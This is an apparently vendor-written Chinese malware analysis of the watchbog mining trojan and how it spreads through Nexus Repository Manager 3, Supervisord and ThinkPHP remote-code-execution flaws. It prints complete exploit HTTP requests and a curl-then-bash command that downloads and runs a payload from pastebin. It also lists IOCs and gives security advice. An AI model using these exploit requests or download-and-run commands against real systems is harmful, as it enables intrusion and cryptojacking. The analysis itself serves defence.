背景
近日,阿裡雲安全監測到watchbog挖礦木馬使用新曝光的Nexus Repository Manager 3遠端代碼執行漏洞(CVE-2019-7238)進行攻擊并挖礦的事件。
值得注意的是,這一攻擊開始的時間(2月24日),與2月5日上述産品的母公司釋出漏洞公告,相隔僅僅半個多月,再次印證了“漏洞從曝光到被黑産用于挖礦的時間越來越短”。此外,攻擊者還利用了Supervisord, ThinkPHP等産品的漏洞進行攻擊。
本文分析了該木馬的内部結構和傳播方式,并就如何清理、預防類似挖礦木馬給出了安全建議。
挖礦木馬傳播分析
攻擊者主要通過直接攻擊主機服務的漏洞,來進行木馬的傳播,也就是說它目前不具備蠕蟲的傳染性,這一點上類似8220團夥。即便如此,攻擊者仍然擷取了大量的殭屍電腦。
尤其2月24日,攻擊者從原本隻攻擊ThinkPHP和Supervisord,到加入了Nexus Repository Manager 3的攻擊代碼,可以看到其礦池算力當天即飙升約3倍,達到了210KH/s左右(盈利約25美元/天),意味着最高時可能有1~2萬台主機受控進行挖礦。
以下為阿裡雲安全采集到的3種攻擊payload
(1) 針對Nexus Repository Manager 3 遠端代碼執行漏洞(CVE-2019-7238)的利用
POST /service/extdirect HTTP/1.1
Host: 【victim_ip】:8081
X-Requested-With: XMLHttpRequest
Content-Type: application/json
{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "233.class.forName('java.lang.Runtime').getRuntime().exec('curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby')"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}
(2)針對Supervisord遠端指令執行漏洞(CVE-2017-11610)的利用
POST /RPC2 HTTP/1.1
Host: 【victim_ip】:9001
Content-Type: application/x-www-form-urlencoded
<?xml version=\"1.0\"?>\u0002<methodCall>\u0002<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>\u0002<params>\u0002<param>\u0002<string>curl https://pastebin.com/raw/zXcDajSs -o /tmp/baby</string>\u0002</param>\u0002</params>\u0002</methodCall>
(3)針對ThinkPHP遠端指令執行漏洞的利用
POST /index.php?s=captcha HTTP/1.1
Host: 【victim_host】
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby
以上三種payload的目的都是相同的,那就是控制主機執行以下指令
curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby
木馬功能結構分析
被攻擊的主機受控通路
https://pastebin.com/raw/zXcDajSs,經多次跳轉後,會得到如下圖所示的shell腳本,其包含cronlow(), cronhigh(), flyaway()等多個函數。
分析後得出,該腳本主要包含以下幾個子產品:
1.挖礦子產品
挖礦子產品的download()函數,會從
https://ptpb.pw/D8r9(即$mi_64解碼後的内容)下載下傳由xmrig改寫的挖礦程式,儲存為/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/watchbog,并從
https://ptpb.pw/hgZI下載下傳配置檔案,之後啟動挖礦。
另一個函數testa()也是類似,隻不過它下載下傳的是xmr-stak挖礦程式。
2.持久化子產品
将要執行的惡意指令寫入/etc/cron.d/root等多個檔案
3.c&c子產品
c&c子產品主要在dragon()和flyaway()函數中實作。

如下圖所示為解碼後的dragon函數
它會依次請求
https://pastebin.com/raw/05p0fTYd等多個位址,并執行收到的指令。有趣的是,這些位址目前存放的都是一些普通單詞,可能是木馬作者留待将來使用。
flyaway()函數則與dragon()稍有不同,它會先從
https://pixeldra.in/api/download/8iFEEg下載下傳/tmp/elavate。
逆向可知,/tmp/elavate是使用Ubuntu本地權限提升漏洞(CVE-2017-16995)進行提權的二進制程式。提權後,嘗試以root權限執行從
https://pastebin.com/raw/aGTSGJJp擷取的指令。
安全建議
阿裡雲安全已和pastebin.com進行聯系,要求禁止對上述惡意下載下傳連結的通路,對方暫未回應。此外,雲安全為使用者提供如下安全建議:
- 網際網路上攻擊無處不在,使用者平時應及時更新服務,或修補服務漏洞,避免成為入侵的受害者。
- 建議使用阿裡雲安全的下一代雲防火牆産品,其阻斷惡意外聯、能夠配置智能政策的功能,能夠有效幫助防禦入侵。哪怕攻擊者在主機上的隐藏手段再高明,下載下傳、挖礦、反彈shell這些操作,都需要進行惡意外聯;雲防火牆的攔截将徹底阻斷攻擊鍊。此外,使用者還可以通過自定義政策,直接屏蔽pastebin.com、thrysi.com等廣泛被挖礦木馬利用的網站,達到阻斷入侵的目的。
- 對于有更高定制化要求的使用者,可以考慮使用阿裡雲安全管家服務。購買服務後将有經驗豐富的安全專家提供咨詢服務,定制适合您的方案,幫助加強系統,預防入侵。入侵事件發生後,也可介入直接協助入侵後的清理、事件溯源等,适合有較高安全需求的使用者,或未雇傭安全工程師,但希望保障系統安全的企業。
IOC
礦池位址:
pool.minexmr.com:443
錢包位址:
44gaihcvA4DHwaWoKgVWyuKXNpuY2fAkKbByPCASosAw6XcrVtQ4VwdHMzoptXVHJwEErbds66L9iWN6dRPNZJCqDhqni3B
相關檔案:
其他惡意url:
https://pastebin.com/raw/AgdgACUD https://pastebin.com/raw/vvuYb1GC https://pixeldra.in/api/download/nZ2s4L(用來下載下傳32位XMR挖礦程式,連結已失效)
(目前不存在)
https://pastebin.com/raw/KxWPFeEn https://pastebin.com/raw/X6wvuv98Reference